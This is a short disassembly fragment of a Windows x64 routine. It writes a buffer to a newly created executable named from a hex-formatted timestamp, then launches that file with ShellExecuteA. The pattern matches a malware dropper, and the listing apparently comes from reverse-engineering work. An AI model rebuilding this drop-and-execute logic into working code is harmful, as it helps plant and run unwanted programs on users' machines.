call qword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
mov r8d, dword [rbp + 0x188]
lea rdx, str._08X.exe
lea rcx, [rbp + 0x50]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.140007658
and qword [rsp + 0x30], 0
lea rcx, [rsp + 0x40]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rcx, qword [rbp + 0x180]
xor ebx, ebx
and dword [rbp + 0x178], ebx
mov rdi, rax
xor edx, edx
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x178]
sub ecx, ebx
add rdx, rsi
mov r8d, ecx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140001c8e
add ebx, dword [rbp + 0x178]
mov rcx, qword [rbp + 0x180]
mov edx, ebx
cmp rdx, rcx
jb 0x140001c58
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x28], 1
lea r8, [rsp + 0x40]
and qword [rsp + 0x20], 0
lea rdx, str.open
xor r9d, r9d
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov rbx, qword [rsp + 0x270]
add rsp, 0x250
pop rdi
pop rsi
pop rbp
ret